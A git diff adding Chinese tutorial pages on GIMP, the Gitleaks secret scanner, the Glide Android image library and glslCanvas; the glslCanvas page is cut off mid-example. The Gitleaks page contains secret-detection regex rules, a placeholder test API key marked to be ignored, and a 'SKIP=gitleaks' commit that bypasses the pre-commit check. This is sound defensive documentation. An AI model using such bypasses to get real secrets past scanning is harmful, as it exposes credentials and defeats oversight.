+6. **浮动选区困惑**:GIMP 3 默认粘贴为新图层;需要旧式浮动选区用 **Paste as Floating Selection**。 + +## 适用 vs 不适用场景 + +**适用**: + +- 照片修图、抠图合成、海报、缩略图、简单纹理 +- 批量缩放、水印、格式转换(脚本 + `gimp-console`) +- 学习图层/蒙版/色彩调整,迁移到 Photoshop 时概念可复用 +- 开源文档站配图、博客头图、轻量 UI 位图 + +**不适用**: + +- 专业插画厚涂(优先 [[krita]]) +- Logo / 图标矢量源文件(优先 [[inkscape]]) +- RAW 摄影工作流主力(可考虑 darktable + GIMP 修图) +- 多页排版(Scribus / InDesign) +- 依赖 Adobe 专有智能对象、云端协作的设计团队 + +## 与邻居项目对照 + +| 项目 | 维度 | 关系 | +| --- | --- | --- | +| [[inkscape]] | 矢量 | 出 SVG/PNG;GIMP 做合成与位图精修 | +| [[krita]] | 绘画 | 笔刷创作在 Krita;GIMP 修照片与批处理 | +| [[imagemagick]] | CLI 位图 | 纯命令行转换;复杂交互与图层仍用 GIMP | +| [[ffmpeg]] | 视频 | 视频帧导出 → GIMP 修帧 → 再合成 | +| [[docusaurus]] | 文档站 | 导出 WebP/PNG 插图进静态站 | + +## 学到什么 + +- **图层 + 蒙版是通用语言**:从 GIMP 到 Photoshop 到 [[krita]],思维可迁移。 +- **破坏性 vs 非破坏性要自觉选择**:GIMP 3 的 GEGL 管线让「试错成本」下降,但交付物仍常常是扁平位图。 +- **PDB 统一 GUI 与脚本**:学会在 Procedure Browser 里查参数,比死记 API 更快。 +- **工程文件与交付文件分离**:XCF 是仓库,PNG/JPEG/WebP 是产物——别把 JPEG 当源文件。 + +## 延伸资源 + +- 官方发布说明:[GIMP 3.0 Release Notes](https://www.gimp.org/release-notes/gimp-3.0.html) +- 源码与贡献:[github.com/GNOME/gimp](https://github.com/GNOME/gimp) +- Script-Fu 文档:[developer.gimp.org — Script-Fu](https://developer.gimp.org/resource/script-fu/) +- 内置帮助:**Help → User Manual**(可在线 [docs.gimp.org](https://docs.gimp.org/)) +- 社区插件:G'MIC、Resynthesizer(内容感知填充) diff --git a/src/content/docs/projects/gitleaks.md b/src/content/docs/projects/gitleaks.md new file mode 100644 index 000000000..fdd2954ce --- /dev/null +++ b/src/content/docs/projects/gitleaks.md @@ -0,0 +1,248 @@ +--- +title: Gitleaks — Git 仓库密钥泄露扫描 +来源: https://github.com/gitleaks/gitleaks +日期: 2026-06-13 +子分类: DevOps 与运维 +分类: 基础设施 +provenance: pipeline-v3 +--- + +## 是什么 + +Gitleaks 是 Zach Rice 2018 年用 Go 写的**密钥泄露扫描器**(SAST,静态应用安全测试)。它会在 Git 提交历史、工作区文件、甚至管道输入里,用正则 + 熵值启发式去找硬编码的密码、API Key、私钥、Token 等敏感信息。 + +日常类比: + +- **把代码仓库当成一本公开日记**:你每 `git commit` 一次,就等于在日记里新写了一页。Gitleaks 不是只读「当前这一页」,而是能把**整本日记从第一页翻到现在**,看有没有哪一页不小心写进了家门钥匙的复印件。 +- **门禁 vs 保安巡逻**:`.gitignore` 像「以后别再把钥匙贴门上」;Gitleaks 像保安拿着清单,检查**历史上有没有已经贴出去过**——删了文件、改了配置,旧 commit 里的秘密仍然在 `git log` 里躺着。 +- **金属探测器**:机场安检不关心你「现在口袋里有没有刀」,它扫的是**所有可能藏违禁品的位置**。Gitleaks 对 AWS Key、GitHub PAT、数据库连接串等有上千条内置规则,相当于针对不同「违禁品形状」的探测器。 + +最简单的体验,扫描当前目录这个 Git 仓库: + +```bash +# 安装(macOS) +brew install gitleaks + +# 扫描本地 git 仓库(v8.19+ 推荐用 git 子命令,替代已弃用的 detect) +gitleaks git -v . + +# 只扫某个目录/文件,不依赖 .git +gitleaks dir -v ./src +``` + +有泄露时,终端会打印 `Finding`、`Secret`、`RuleID`、文件行号、关联的 commit 与作者——足够你定位「谁、何时、在哪一行」把秘密写进了历史。 + +## 为什么重要 + +不理解 Gitleaks 这类工具,下面这些事很容易踩坑: + +- **「我已经删了」不等于安全**:密钥进过 Git 历史,就等于可能被 fork、镜像、CI 日志、备份磁带永久保留。轮换密钥 + 清历史是另一回事,扫描是发现问题的第一步。 +- **`.env` 在 `.gitignore` 里不够**:开发者可能误 `git add`,或在测试文件、README 示例、Terraform 变量里硬编码。Gitleaks 扫的是**实际进入版本库的内容**(以及 `dir` 模式下的明文文件)。 +- **合规与供应链**:PCI-DSS、SOC2、ISO 27001 等审计常问「如何防止密钥进入代码库」。在 PR / pre-commit / 定时任务里跑 Gitleaks,是可落地的控制点。 +- **成本极低、收益极高**:开源、单二进制、无 agent;与 [[ansible]]、[[kubernetes]] 流水线、GitHub Actions 集成都只需几行 YAML。官方 [Gitleaks-Action](https://github.com/gitleaks/gitleaks-action) 在组织仓库需免费 License Key,个人账号可直接用。 + +维护者 2026 年声明 Gitleaks **功能已基本冻结**(后续以安全补丁为主),新能力转向 [Betterleaks](https://github.com/betterleaks/betterleaks)。但对绝大多数团队,v8 的规则库与生态仍足够日常防护。 + +## 核心要点 + +Gitleaks 的检测模型可以拆成 **五层**: + +1. **扫描模式(Scan Mode)** + - `gitleaks git`:通过 `git log -p` 看 patch,能扫**完整提交历史**;可用 `--log-opts` 限定 commit 范围。 + - `gitleaks dir`:扫目录或单文件,不依赖 Git;适合 CI 里扫构建产物、或未初始化的快照。 + - `gitleaks stdin`:从管道读入,方便 `cat file | gitleaks stdin` 嵌入自定义流水线。 + +2. **规则(Rules)** + - 每条规则有 `id`、`description`、`regex`(Go 正则,不支持 lookahead)、可选 `entropy`(香农熵下限,过滤低随机字符串)、`keywords`(预过滤加速)、`path`(只匹配特定路径)。 + - 默认配置内置数百条规则(AWS、GCP、GitHub、Slack、Stripe 等),见上游 [`config/gitleaks.toml`](https://github.com/gitleaks/gitleaks/blob/master/config/gitleaks.toml)。 + - v8.28+ 支持**复合规则**:主规则 + `[[rules.required]]` 辅助规则,并可用 `withinLines` / `withinColumns` 做邻近匹配,降低误报。 + +3. **配置加载顺序** + 1. `--config` / `-c` 指定路径 + 2. 环境变量 `GITLEAKS_CONFIG`(文件路径) + 3. 环境变量 `GITLEAKS_CONFIG_TOML`(文件内容) + 4. 目标路径下的 `.gitleaks.toml` + 5. 以上皆无 → 使用内嵌默认配置 + +4. **降噪机制** + - **Allowlist**:全局 `[[allowlists]]` 或规则级 `[[rules.allowlists]]`,按 commit、路径、正则、stopwords 忽略误报。 + - **Baseline**:`--baseline-path` 指向旧报告,只报**新增**泄露,适合「历史债太多、先止血再还债」。 + - **`.gitleaksignore`**:按 finding 的 `Fingerprint` 逐条忽略(实验特性)。 + - **行内注释**:`#gitleaks:allow` 标记已知测试用假密钥。 + +5. **报告与集成** + - 输出格式:`json`、`csv`、`junit`、`sarif`(可进 GitHub Security / 其他 SARIF 消费者)、自定义 Go template。 + - 退出码:0 = 无泄露;1 = 有泄露或错误;可用 `--exit-code` 自定义。 + - 进阶:`--max-decode-depth` 自动解码 Base64/Hex/Percent 嵌套秘密;`--max-archive-depth` 解压 zip/tar 等归档再扫。 + +简单说:**规则定义「什么算秘密」,三种模式决定「扫哪里」,allowlist/baseline 决定「什么可以暂时不管」,报告格式决定「怎么接进 CI」**。 + +## 实践案例 + +### 案例 1:本地仓库全量扫描 + SARIF 报告 + +适合第一次在自有项目上摸底: + +```bash +cd /path/to/your-repo + +# 全历史扫描,详细日志,输出 SARIF 供 GitHub / IDE 消费 +gitleaks git -v \ + --report-path gitleaks.sarif \ + --report-format sarif \ + . + +# 只看最近 7 天的 commit(缩小范围、加快反馈) +gitleaks git -v \ + --log-opts="--since=7.days" \ + . +``` + +若历史太长、一时修不完,先建 baseline,后续只盯增量: + +```bash +# 第一次:把当前所有发现存成基线 +gitleaks git --report-path baseline.json . + +# 之后:只报告 baseline 里没有的新泄露 +gitleaks git \ + --baseline-path baseline.json \ + --report-path new-findings.json \ + . +``` + +### 案例 2:自定义规则 + pre-commit 守门 + +在 monorepo 根目录放 `.gitleaks.toml`,扩展默认规则并屏蔽测试目录: + +```toml +title = "acme gitleaks config" + +[extend] +useDefault = true +disabledRules = [] # 可按需关闭噪声大的默认规则 + +[[rules]] +id = "acme-internal-token" +description = "Acme internal service token (acme_live_...)" +regex = '''acme_live_[a-zA-Z0-9]{32}''' +tags = ["acme", "token"] + +[[allowlists]] +description = "test fixtures and docs examples" +paths = [ + '''(?:^|/)tests/fixtures/''', + '''(?:^|/)docs/examples/''', +] +``` + +配合 [pre-commit](https://pre-commit.com/) 在提交前阻断: + +```yaml +# .pre-commit-config.yaml +repos: + - repo: https://github.com/gitleaks/gitleaks + rev: v8.30.1 + hooks: + - id: gitleaks +``` + +```bash +pre-commit install +git commit -m "feat: add payment client" # 含真实密钥时会 Failed +SKIP=gitleaks git commit -m "..." # 紧急时跳过(慎用) +``` + +代码里故意的假密钥可加注释(仅当你确信安全时): + +```python +# 文档示例,非生产密钥 +FAKE_STRIPE_KEY = "sk_test_51234567890abcdef" #gitleaks:allow +``` + +### 案例 3:GitHub Actions 持续扫描 + +在 PR 与定时任务里自动扫,组织账号需配置 `GITLEAKS_LICENSE`([gitleaks.io](https://gitleaks.io) 免费申请): + +```yaml +# .github/workflows/gitleaks.yml +name: gitleaks +on: + pull_request: + push: + branches: [main] + schedule: + - cron: "0 4 * * *" # 每天 4:00 UTC 扫全历史 + +jobs: + scan: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + with: + fetch-depth: 0 # 必须拉全历史,否则扫不到旧 commit + + - uses: gitleaks/gitleaks-action@v3 + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} + GITLEAKS_LICENSE: ${{ secrets.GITLEAKS_LICENSE }} + GITLEAKS_CONFIG: .gitleaks.toml +``` + +`fetch-depth: 0` 是关键细节:默认浅克隆只带最近一次 commit,历史泄露会被漏掉。 + +## 命令对照(v8.19+ 迁移) + +旧版常用的 `detect` / `protect` 已弃用,对应关系: + +| 旧命令 | 新写法 | +|--------|--------| +| `gitleaks detect` | `gitleaks git` | +| `gitleaks protect`(pre-commit) | `gitleaks git --pre-commit` 或 pre-commit hook | +| 扫非 git 目录 | `gitleaks dir` | +| 管道输入 | `gitleaks stdin` | + +Docker 一行跑(挂载当前目录): + +```bash +docker run --rm -v "$(pwd):/path" ghcr.io/gitleaks/gitleaks:latest \ + git -v --source /path +``` + +## 与其他工具的关系 + +| 工具 | 侧重点 | 与 Gitleaks 的分工 | +|------|--------|-------------------| +| **git-secrets**(AWS) | Git hook + 简单正则 | 更轻,规则少;Gitleaks 规则库与报告更丰富 | +| **TruffleHog** | 熵 + 验证器(调 API 验密钥是否仍有效) | 误报处理不同;可并用 | +| **detect-secrets**(Yelp) | 基线 + 插件式检测 | 适合「只关心新增」;Gitleaks 默认 SARIF/CI 生态更熟 | +| **GitHub Secret Scanning** | 平台侧推送保护 | 对公开/受支持格式自动扫;私有库或自建 Git 仍需 Gitleaks | + +Gitleaks 的定位是:**自托管、可定制、能扫完整 Git 历史的开源守门员**——不替代密钥管理服务(Vault、云厂商 Secrets Manager),而是防止秘密**先**以明文形式进入版本库。 + +## 常见误报与排查 + +1. **示例文档、单元测试里的假 Key**:用 `[[allowlists]].paths` 或 `#gitleaks:allow`,不要关规则。 +2. **锁文件、vendor、图片二进制**:默认配置已 allowlist 大量 `node_modules`、`package-lock.json` 等;若仍报,检查是否自定义配置覆盖了默认 extend。 +3. **高熵随机字符串**:UUID、hash 可能撞上 `generic-api-key`;用 `stopwords` 或提高 `entropy` 阈值。 +4. **扫描太慢**:`--log-opts="--since=30.days"`、baseline、或 `--max-target-megabytes` 跳过大文件。 +5. **CI 扫不到历史泄露**:检查 `fetch-depth` 是否为 0。 + +## 学习路径建议 + +1. **零基础**:`brew install gitleaks` → 在练习仓库 `gitleaks git -v .` 看输出字段含义。 +2. **接进团队**:加 `.gitleaks.toml`(`useDefault = true`)→ pre-commit → GitHub Action + SARIF。 +3. **治理历史债**:全量扫描 → `baseline.json` → 排期轮换密钥 + `git filter-repo` / BFG 清历史(清历史是独立高危操作,需团队协调)。 +4. **深入**:读默认 `gitleaks.toml` 里一条 AWS 规则;试写一条内部 token 正则;了解复合规则与 `--max-decode-depth`。 + +## 延伸阅读 + +- 官方仓库与默认配置:[gitleaks/gitleaks](https://github.com/gitleaks/gitleaks) +- 检测思路博文:[Regex is (almost) all you need](https://lookingatcomputer.substack.com/p/regex-is-almost-all-you-need) +- 高级配置:[Stop Leaking Secrets Configuration 2.3](https://blog.gitleaks.io/stop-leaking-secrets-configuration-2-3-aeed293b1fbf) +- 命令迁移 gist:[v8.19 detect/protect 迁移](https://gist.github.com/zricethezav/b325bb93ebf41b9c0b0507acf12810d2) +- 相关笔记:密钥管理与零信任可结合 [[vault]]、[[sigstore-cosign-2022]] 等专题理解「秘密全生命周期」。 + +--- + +*最后更新:2026-06-13* diff --git a/src/content/docs/projects/glide.md b/src/content/docs/projects/glide.md new file mode 100644 index 000000000..8e5ed8741 --- /dev/null +++ b/src/content/docs/projects/glide.md @@ -0,0 +1,261 @@ +--- +title: Glide — Android 上专注流畅滚动的图片加载库 +来源: 'https://github.com/bumptech/glide' +日期: 2026-06-13 +子分类: 移动端 +分类: 后端 API +难度: 初级 +provenance: pipeline-v3 +--- + +## 是什么 + +**Glide** 是 Google(原 Bumptech 团队)维护的 Android 图片与媒体加载框架,把「取图 → 解码 → 缓存 → 显示」整条链路封装成一行 API,并针对**列表快速滑动**做了大量性能优化。GitHub [bumptech/glide](https://github.com/bumptech/glide) 累计 3.5 万+ star,是 Android 生态里最老牌、最广泛使用的图片加载方案之一。 + +日常类比:Glide 像一家**连锁快递驿站 + 智能仓储**。你把包裹单号(URL、`Uri`、资源 ID)交给前台(`RequestBuilder`),驿站系统(`Glide` 单例 + `Engine`)会: + +1. 先查**前台货架**有没有同款小件(**内存缓存**) +2. 没有再翻**仓库档案**(**磁盘缓存**) +3. 还没有就派快递员去原厂取货(**网络 / 本地 ModelLoader**) +4. 按你指定的相框尺寸裁剪打包(**下采样 + Transformation**) +5. 最后把成品放进 `ImageView` 或自定义 `Target` + +你不需要自己管线程池、Bitmap 回收和 Activity 销毁时的取消逻辑——`Glide.with(activity).load(url).into(imageView)` 一行即可。Activity/Fragment 销毁时,关联请求会自动取消并释放资源。 + +Glide v4 是当前主线(最低 API 14,编译需 API 27+)。支持静态图、GIF、视频缩略图;默认用 `HttpURLConnection` 发网络请求,也可通过集成库换成 [[okhttp]] 或 Volley。 + +## 为什么重要 + +零基础学 Android UI,Glide 几乎是「必认识的名字」,因为: + +- **RecyclerView 列表场景的事实标准**:自动处理 View 复用、请求取消、尺寸下采样,减少 OOM 和滑动卡顿 +- **生命周期深度绑定**:`Glide.with(Fragment/Activity)` 让后台加载与界面存活期对齐,避免「页面已关图还在写进 ImageView」 +- **多层缓存开箱即用**:内存 LRU + 磁盘 LRU + Bitmap 对象池,不必手写 `LruCache` 和文件命名规则 +- **可扩展管道**:`ModelLoader`、`DataFetcher`、`Transformation` 可插拔,企业 App 常在此定制 CDN 签名、鉴权 Header、水印 +- **与 [[coil]] 的对照**:新 Kotlin/Compose 项目多选 Coil;大量存量 Java/Kotlin View 项目、复杂图像策略仍大量依赖 Glide + +## 核心概念 + +Glide 的运转可以拆成 **七块**: + +1. **RequestManager(请求调度员)**:由 `Glide.with(context)` 获得,与 Activity/Fragment/View 生命周期绑定。同一生命周期内共享配置;`onStop` 时暂停,`onDestroy` 时清请求。类比:某个门店的前台班组。 + +2. **RequestBuilder(运单)**:链式 API 描述加载什么、怎么加载。`.load()` 接受 URL 字符串、`Uri`、`File`、`@DrawableRes`、`byte[]` 等;`.placeholder()` / `.error()` 设置占位与失败图;`.override(w,h)` 指定目标像素尺寸;`.transform()` 应用圆角、模糊等变换。 + +3. **Target(收件人)**:接收加载结果的抽象。最常用的是 `into(ImageView)`,内部包装为 `ImageViewTarget`。也可 `into(CustomTarget)` 或 `submit()` 在后台线程拿 `Bitmap`。Target 负责报告 View 尺寸,Glide 据此下采样——**只解码显示所需大小**,这是省内存的关键。 + +4. **Engine + 三级缓存查找顺序**:每次请求默认依次查: + - **活动资源**(正在屏幕上的资源,带引用计数) + - **内存缓存**(`MemoryCache`,LRU) + - **磁盘缓存**(`DiskCache`,默认应用 `cacheDir` 下约 250MB) + - 都没有才走 **ModelLoader → DataFetcher** 拉原始数据,再 **Decode → Transform → Encode 回写磁盘** + +5. **DiskCacheStrategy(磁盘策略)**:`AUTOMATIC`(默认,远程只缓存原数据、本地只缓存变换结果)、`ALL`、`DATA`、`RESOURCE`、`NONE`。配合 `skipMemoryCache(true)` 可跳过内存层。 + +6. **BitmapPool(位图对象池)**:复用 `Bitmap` 内存块,减少 GC 和堆碎片。与 `MemoryCache` 分工:缓存存「成品资源」,对象池存「可重用空壳」。 + +7. **AppGlideModule / LibraryGlideModule(全局配置)**:通过注解处理器在编译期合并模块,在 `applyOptions(GlideBuilder)` 里改磁盘大小、内存比例、默认 `DecodeFormat`;在 `registerComponents()` 里注册自定义 `ModelLoader`。注意:`GlideApp` 等生成 API 自 4.14 起已**废弃**,应直接用 `Glide` + `RequestOptions`,但 `AppGlideModule` 配置本身仍推荐。 + +## 依赖与最小配置 + +Gradle(Kotlin DSL,Glide 4.16.x 示例): + +```kotlin +dependencies { + implementation("com.github.bumptech.glide:glide:4.16.0") + ksp("com.github.bumptech.glide:ksp:4.16.0") // 或 kapt("...:compiler:4.16.0") + // 可选:OkHttp 集成 + // implementation("com.github.bumptech.glide:okhttp3-integration:4.16.0") +} +``` + +`AndroidManifest.xml` 加载网络图片时需要: + +```xml + + + +``` + +全局配置(Kotlin 项目仍可用 Java 写 Module): + +```java +@GlideModule +public final class MyAppGlideModule extends AppGlideModule { + @Override + public void applyOptions(@NonNull Context context, @NonNull GlideBuilder builder) { + int memoryCacheSize = (int) (Runtime.getRuntime().maxMemory() / 8); + builder.setMemoryCache(new LruResourceCache(memoryCacheSize)); + } +} +``` + +## 实践案例 + +### 案例 1:Activity 里一行加载网络图 + +最基础用法——生命周期随 Activity,销毁时自动清理: + +```kotlin +class ProfileActivity : AppCompatActivity() { + override fun onCreate(savedInstanceState: Bundle?) { + super.onCreate(savedInstanceState) + setContentView(R.layout.activity_profile) + val avatar: ImageView = findViewById(R.id.avatar) + + Glide.with(this) + .load("https://example.com/users/42/avatar.jpg") + .placeholder(R.drawable.avatar_placeholder) + .error(R.drawable.avatar_error) + .circleCrop() + .into(avatar) + } +} +``` + +`.with(this)` 传入 Activity,而不是 `applicationContext`,这样加载会随 Activity 暂停/销毁而取消。`circleCrop()` 是内置 `Transformation`,在解码后裁剪圆形,比外层套 `CircleImageView` 更省一层 Drawable 嵌套问题。 + +### 案例 2:RecyclerView 列表(Glide 的主场) + +列表滑动时 View 会被复用;Glide 自动取消旧请求,但必须保证每次 bind 都发起新 load 或显式 `clear()`: + +```kotlin +class PhotoAdapter(private val items: List) : + RecyclerView.Adapter() { + + class VH(val image: ImageView) : RecyclerView.ViewHolder(image) + + override fun onCreateViewHolder(parent: ViewGroup, viewType: Int): VH { + val view = LayoutInflater.from(parent.context) + .inflate(R.layout.item_photo, parent, false) as ImageView + return VH(view) + } + + override fun onBindViewHolder(holder: VH, position: Int) { + val photo = items[position] + Glide.with(holder.image) // 也可 Glide.with(holder.itemView) + .load(photo.thumbnailUrl) + .centerCrop() + .transition(DrawableTransitionOptions.withCrossFade(200)) + .into(holder.image) + } + + override fun getItemCount() = items.size +} +``` + +若某行要显示本地占位 Drawable 而非网络图,应先 `Glide.with(holder.image).clear(holder.image)`,否则上一行的异步结果可能在占位图之后到达,造成**图片错位**——这是列表场景最常见的坑。 + +### 案例 3:RequestOptions 复用与磁盘策略 + +多个页面共享同一套「缩略图规格」时,用 `RequestOptions` 避免重复链式调用: + +```kotlin +object ThumbOptions { + val gridThumb: RequestOptions = RequestOptions() + .diskCacheStrategy(DiskCacheStrategy.AUTOMATIC) + .override(300, 300) + .centerCrop() + .placeholder(R.drawable.loading_spinner) +} + +// 使用 +Glide.with(fragment) + .load(url) + .apply(ThumbOptions.gridThumb) + .into(imageView) +``` + +需要强制走缓存、节省流量(如离线预览模式): + +```kotlin +Glide.with(context) + .load(url) + .onlyRetrieveFromCache(true) // 缓存未命中则失败,不发网络 + .into(imageView) +``` + +### 案例 4:后台线程同步取 Bitmap + +UI 不需要 Drawable,只要 `Bitmap` 做分享、上传或图像处理: + +```kotlin +suspend fun fetchBitmap(context: Context, url: String): Bitmap = + withContext(Dispatchers.IO) { + Glide.with(context) + .asBitmap() + .load(url) + .submit(512, 512) // 目标宽高像素 + .get() // 阻塞;生产代码注意超时与异常 + } +``` + +`submit()` 适合工作线程;若在主线程请继续用 `into()`。完成后 Glide 仍管理资源引用计数,**不要**随意 `bitmap.recycle()`,除非你知道没有其它 Glide 引用。 + +## 缓存与内存:一张心智图 + +```text +请求 load(url) + │ + ▼ +[活动资源] ──命中──► 显示 + │ miss + ▼ +[内存缓存] ──命中──► 显示 + │ miss + ▼ +[磁盘缓存] ──命中──► 解码 ──► 显示 + │ miss + ▼ +网络/ContentProvider/File ──► 解码 ──► Transform ──► 写磁盘 ──► 显示 +``` + +系统内存紧张时,Glide 响应 `ComponentCallbacks2` 自动 trim 内存缓存;也可 `Glide.get(context).trimMemory(level)` 手动干预。大图预览场景记得 `.override()` 或 `downsample()`,不要解码原图尺寸。 + +## 与 Coil / Picasso 的对比(选型速览) + +| 维度 | Glide | Coil | Picasso | +|------|-------|------|---------| +| 维护方 | Google / Bumptech | Coil 社区 | Square(维护模式) | +| 语言风格 | Java 优先,Kotlin 可用 | Kotlin 协程优先 | Java,API 最简 | +| Compose | 无官方一等 API | `AsyncImage` 原生支持 | 无 | +| 列表性能 | 极成熟,引用计数 + 生命周期 | 协程取消 + 下采样 | 简单场景够用 | +| 扩展性 | ModelLoader 体系完整 | Fetcher/Decoder 管道 | 较弱 | +| 典型场景 | 存量大 App、复杂缓存策略 | 新 Compose/KMP 项目 | 老项目极简加载 | + +没有绝对「最好」:Glide 的优势在**十年积累的生命周期、缓存与列表行为**;新项目若全栈 Kotlin Compose,[[coil]] 往往更顺手;三者网络层都可对接 [[okhttp]]。 + +## 常见问题 + +**Q:列表图片错位、闪旧图?** +`onBindViewHolder` 必须对复用 View 调用新的 `.into(imageView)`,或切换为占位图前 `.clear(imageView)`。不要只在 `onCreateViewHolder` 里 load 一次。 + +**Q:GIF 与 crossFade/placeholder 冲突?** +部分圆形 ImageView 库与 `TransitionDrawable` 不兼容。可 `.dontAnimate()` 或改用 Glide 内置 `.circleCrop()` Transformation。 + +**Q:Cleartext HTTP 图加载失败?** +Android 9+ 默认禁止明文 HTTP。改用 HTTPS,或配置 `networkSecurityConfig` 放行特定域名。 + +**Q:还能用 `GlideApp` 吗?** +4.14 起生成 API 已废弃,官方建议统一 `Glide.with()` + `RequestOptions` / Kotlin 扩展函数。`AppGlideModule` 配置仍需要。 + +**Q:和 [[retrofit]] 什么关系?** +无直接依赖。Retrofit 管 JSON API;Glide 管图片字节流。若 REST 返回的是图片 URL,Glide 负责把 URL 变成 Bitmap;若 API 要上传图片,可用 Glide `submit()` 取 Bitmap 再交给 OkHttp Multipart。 + +## 延伸学习 + +- 官方文档:[Getting Started](https://bumptech.github.io/glide/doc/getting-started.html)、[Caching](https://bumptech.github.io/glide/doc/caching.html)、[Configuration](https://github.com/bumptech/glide/wiki/Configuration) +- 源码入口:`com.bumptech.glide.Glide`、`RequestManager`、`Engine` +- 对照阅读:本库笔记 [[coil]](Kotlin 现代方案)、[[okhttp]](可插拔网络栈) +- Android 官方 Codelab:[Load and display images from the internet](https://developer.android.com/codelabs/basic-android-kotlin-compose-load-images)(Compose 侧用 Coil,但缓存/生命周期概念相通) + +## 小结 + +Glide 把 Android 图片加载从「手工线程 + LruCache + 担心泄漏」收敛成 **`with(生命周期) → load(数据源) → into(目标)`** 三件套。零基础记住四件事就够上手: + +1. **永远用 Activity/Fragment 级 `with()`**,不要用 Application Context 加载进 View(除非明确知道后果) +2. **列表必复用 RequestOptions,bind 必重新 `into()`** +3. **Trust 默认缓存**,用 `override` 控制尺寸,用 `DiskCacheStrategy` 微调持久化 +4. **全局配置走 `AppGlideModule`**,别在每个 Fragment 里重复造轮子 + +掌握这些后,再按需深入 `ModelLoader` 自定义数据源、`Transformation` 自定义视觉效果、以及 `okhttp3-integration` 统一网络栈——Glide 的复杂度高,但每一项复杂度都对应真实 App 里踩过的坑。 diff --git a/src/content/docs/projects/glsl-canvas.md b/src/content/docs/projects/glsl-canvas.md new file mode 100644 index 000000000..497899b64 --- /dev/null +++ b/src/content/docs/projects/glsl-canvas.md @@ -0,0 +1,247 @@ +--- +title: glslCanvas — Book of Shaders 配套库 +来源: 'https://github.com/patriciogonzalezvivo/glslCanvas' +日期: 2026-06-13 +分类: 图形学 +子分类: 渲染与图形 +provenance: pipeline-v3 +--- + +## 是什么 + +**glslCanvas** 是一个轻量级 JavaScript 库,把 GLSL 片段/顶点着色器加载到 HTML `` 上,自动创建 WebGL 上下文、编译 shader、驱动动画循环。Patricio Gonzalez Vivo 为 [The Book of Shaders](https://thebookofshaders.com) 和 [glslEditor](https://editor.thebookofshaders.com) 编写,是「在浏览器里跑着色器教程」的默认运行时。 + +日常类比: + +> 学钢琴时,你关心的是乐谱(GLSL 代码),而不是每次自己组装钢琴、调音、接电源。glslCanvas 就像 **带自动演奏功能的电子琴**:你把乐谱塞进去(`data-fragment` 或 `.load()`),它负责 WebGL 初始化、uniform 注入、逐帧刷新。Book of Shaders 里每个可交互示例背后,基本都是 `` 在干活。 + +与 [glslify](/docs/projects/glslify) 的分工:glslify 在 **构建阶段** 把 `#pragma glslify` 模块打包成字符串;glslCanvas 在 **运行时** 把字符串(或 URL)变成屏幕上的像素。二者可组合——先用 glslify 打包,再把结果交给 glslCanvas 渲染。 + +## 为什么重要 + +不理解 glslCanvas,下面几件事都说不通: + +- 为什么 Book of Shaders 第 4 章「Running your shader」只写一行 `` 就能跑 +- 为什么教程里的 shader 可以直接写 `uniform float u_time`,不用自己写 `requestAnimationFrame` 去更新 +- 为什么同一套 GLSL 还能在 glslViewer(命令行/Raspberry Pi)、glslEditor(在线 IDE)里跑——它们共享 **uniform 命名约定** 和 shader 结构 +- 为什么做 shader 原型时,不必先搭 Three.js / regl 整套渲染管线 + +## 核心概念 + +### 1. 声明式 HTML vs 命令式 JS + +两种入口,目标相同: + +| 方式 | 典型场景 | 关键 API | +|------|----------|----------| +| **HTML 属性** | 静态教程页、Markdown 嵌入示例 | `class="glslCanvas"` + `data-fragment-url` | +| **JavaScript 构造** | 动态换 shader、接 UI 控件 | `new GlslCanvas(canvas)` + `.load()` | + +页面加载后,所有带 `glslCanvas` class 的 canvas 会被自动扫描;实例缓存在 `window.glslCanvases` 数组里,方便调试或多实例管理。 + +### 2. Shader 加载属性 + +通过 data 属性把 GLSL 源传给 canvas: + +| 属性 | 含义 | +|------|------| +| `data-fragment` | 内联片段着色器字符串 | +| `data-fragment-url` | 片段着色器文件 URL | +| `data-vertex` / `data-vertex-url` | 顶点着色器(可选;默认全屏四边形) | +| `data-textures` | 逗号分隔纹理 URL,依次绑定到 `u_tex0`, `u_tex1`, … | + +**注意**:`data-fragment` 里的换行在 HTML 属性中很难写对;生产环境更推荐 `data-fragment-url` 或 JS 的 `.load()`。Stack Overflow 上常见「Django 模板注入 data-fragment 不工作」,就是因为 HTML 转义破坏了 GLSL 源码——应改用 JS `sandbox.load(code)`。 + +### 3. 内置 Uniform(约定优于配置) + +glslCanvas 自动注入一批 uniform,与 glslViewer 生态对齐,Book of Shaders 示例直接可用: + +| Uniform | 类型 | 来源 | +|---------|------|------| +| `u_time` | `float` | 自启动以来的秒数 | +| `u_resolution` | `vec2` | canvas 宽高(像素) | +| `u_mouse` | `vec2` | 鼠标位置,可用 `.setMouse({x,y})` 设置 | +| `u_tex0`, `u_tex1`, … | `sampler2D` | `data-textures` 或 `.setUniform('u_tex0', url)` | + +自定义 uniform 用 `.setUniform(name, ...values)`:传数字按 float/vec2/vec3/vec4 推断;传 **字符串** 则当作纹理 URL 异步加载。 + +### 4. 运行时 API 速览 + +```javascript +sandbox.load(fragmentSource) // 仅换 fragment +sandbox.load(fragmentSource, vertexSource) // fragment + vertex +sandbox.setUniform('u_brightness', 0.5) +sandbox.setUniform('u_color', 1, 0, 0) // vec3 红色 +sandbox.setUniform('u_texture', 'img.jpg') // sampler2D +sandbox.setMouse({ x: 0.5, y: 0.5 }) // 归一化或像素坐标视实现而定 +``` + +库内部维护 animation loop,shader 编译成功后持续 `draw`;换 shader 时重新 compile/link,适合教学和小型 demo,不适合大规模引擎级资源管理。 + +### 5. 与 glsl 生态的关系 + +``` +Book of Shaders (教程) + │ + ├── glslCanvas ← 浏览器 / WebGL + ├── glslEditor ← 在线编辑 + 预览(内嵌 glslCanvas) + └── glslViewer ← 终端 / OpenGL ES / Raspberry Pi +``` + +同一 fragment 在浏览器用 glslCanvas,在树莓派用 glslViewer 批处理,在 OpenFrame 上屏——**shader 源码可移植**,换的是运行时壳。 + +### 6. 安装与引入 + +**CDN(教程常用):** + +```html + +``` + +**npm:** + +```bash +npm install glslCanvas +``` + +TypeScript 社区有 [actarian/glsl-canvas](https://github.com/actarian/glsl-canvas) 等移植版,API 与 data 属性基本兼容,并扩展了 `mode`(flat/box/sphere/torus/mesh)、`.play()` / `.pause()` 等——若只做 Book of Shaders 级别学习,原版 glslCanvas 足够。 + +## 代码示例 + +### 示例 1:HTML 一行跑 Book of Shaders 风格渐变 + +**index.html** —— 与官方 README / Book of Shaders 第 4 章相同模式: + +```html + + + + + + + + + + +``` + +**gradient.frag** —— 使用内置 `u_time` 与 `u_resolution`: + +```glsl +#ifdef 